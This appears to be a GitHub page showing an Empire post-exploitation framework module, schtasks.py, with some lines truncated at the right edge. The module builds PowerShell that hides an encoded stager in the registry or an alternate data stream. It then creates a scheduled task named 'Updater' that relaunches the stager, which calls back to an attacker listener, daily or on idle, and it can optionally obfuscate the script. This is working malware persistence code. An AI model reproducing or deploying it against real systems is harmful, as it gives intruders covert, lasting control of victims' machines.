Empire / lib / modules / powershell / persistence / userland / schtasks.py

xorrior Updated obfuscate function arguments in all powershell modules 2c7d625 · 7 years ago History

Code Blame 238 lines (192 loc) · 9.7 KB Raw

```
import os
from lib.common import helpers

class Module:

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Invoke-Schtasks',

            'Author': ['@mattifestation', '@harmj0y'],

            'Description': ('Persist a stager (or script) using schtasks. This has a mo

            'Background' : False,

            'OutputExtension' : None,

            'NeedsAdmin' : False,

            'OpsecSafe' : False,

            'Language' : 'powershell',

            'MinLanguageVersion' : '2',

            'Comments': [
                'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/
            ]
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent' : {
                'Description'   :   'Agent to run module on.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Listener' : {
                'Description'   :   'Listener to use.',
                'Required'      :   False,
                'Value'         :   ''
            },
            'DailyTime' : {
                'Description'   :   'Daily time to trigger the script (HH:mm).',
                'Required'      :   False,
                'Value'         :   '09:00'
            },
            'IdleTime' : {
                'Description'   :   'User idle time (in minutes) to trigger script.',
                'Required'      :   False,
                'Value'         :   ''
            },
```

```
                },
                'TaskName' : {
                    'Description'   :   'Name to use for the schtask.',
                    'Required'      :   True,
                    'Value'         :   'Updater'
                },
                'RegPath' : {
                    'Description'   :   'Registry location to store the script code. Last e
                    'Required'      :   False,
                    'Value'         :   'HKCU:\Software\Microsoft\Windows\CurrentVersion\de
                },
                'ADSPath' : {
                    'Description'   :   'Alternate-data-stream location to store the script
                    'Required'      :   False,
                    'Value'         :   ''
                },
                'ExtFile' : {
                    'Description'   :   'Use an external file for the payload instead of a
                    'Required'      :   False,
                    'Value'         :   ''
                },
                'Cleanup' : {
                    'Description'   :   'Switch. Cleanup the trigger and any script from sp
                    'Required'      :   False,
                    'Value'         :   ''
                },
                'UserAgent' : {
                    'Description'   :   'User-agent string to use for the staging request (
                    'Required'      :   False,
                    'Value'         :   'default'
                },
                'Proxy' : {
                    'Description'   :   'Proxy to use for request (default, none, or other)
                    'Required'      :   False,
                    'Value'         :   'default'
                },
                'ProxyCreds' : {
                    'Description'   :   'Proxy credentials ([domain\]username:password) to
                    'Required'      :   False,
                    'Value'         :   'default'
                }
            }

            # save off a copy of the mainMenu object to access external functionality
            #   like listeners/agent handlers/etc.
            self.mainMenu = mainMenu

            for param in params:
                # parameter format is [Name, Value]
                option, value = param
                if option in self.options:
                    self.options[option]['Value'] = value


        def generate(self, obfuscate=False, obfuscationCommand=""):

            listenerName = self.options['Listener']['Value']

            # trigger options
            dailyTime = self.options['DailyTime']['Value']
            idleTime = self.options['IdleTime']['Value']
            taskName = self.options['TaskName']['Value']

```

```
                    f = open(extFile, 'r')
                    fileData = f.read()
                    f.close()

                    # unicode-base64 encode the script for -enc launching
                    encScript = helpers.enc_powershell(fileData)
                    statusMsg += "using external file " + extFile

                else:
                    print helpers.color("[!] File does not exist: " + extFile)
                    return ""

            else:
                # if an external file isn't specified, use a listener
                if not self.mainMenu.listeners.is_listener_valid(listenerName):
                    # not a valid listener, return nothing for the script
                    print helpers.color("[!] Invalid listener: " + listenerName)
                    return ""

                else:
                    # generate the PowerShell one-liner with all of the proper options set
                    launcher = self.mainMenu.stagers.generate_launcher(listenerName, langua

                    encScript = launcher.split(" ")[-1]
                    statusMsg += "using listener " + listenerName


            if adsPath != '':
                # store the script in the specified alternate data stream location
                if ".txt" not in adsPath:
                        print helpers.color("[!] For ADS, use the form C:\\users\\john\\App
                        return ""

                script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsP

                locationString = "$(cmd /c \''\''more < "+adsPath+"\''\''\'')"

            else:
                # otherwise store the script into the specified registry location
                path = "\\".join(regPath.split("\\")[0:-1])
```

```
                name = regPath.split("\\")[-1]

                statusMsg += " stored in " + regPath

                script = "$RegPath = '"+regPath+"';"
                script += "$parts = $RegPath.split('\\');"
                script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';
                script += "$name = $parts[-1];"
                script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+e

                # note where the script is stored
                locationString = "(gp "+path+" "+name+")."+name

            # built the command that will be triggered by the schtask
            triggerCmd = "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -

            # sanity check to make sure we haven't exceeded the cmd.exe command length max
            if len(triggerCmd) > 259:
                print helpers.color("[!] Warning: trigger command exceeds the maximum of 25
                return ""

            if idleTime != '':
                script += "schtasks /Create /F /SC ONIDLE /I "+idleTime+" /TN "+taskName+"
                statusMsg += " with "+taskName+" idle trigger on " + idleTime + "."

            else:
                # otherwise assume we're doing a daily trigger
                script += "schtasks /Create /F /SC DAILY /ST "+dailyTime+" /TN "+taskName+"
                statusMsg += " with "+taskName+" daily trigger at " + dailyTime + "."

            script += "'Schtasks persistence established "+statusMsg+"'"
            if obfuscate:
                script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfu
            return script
```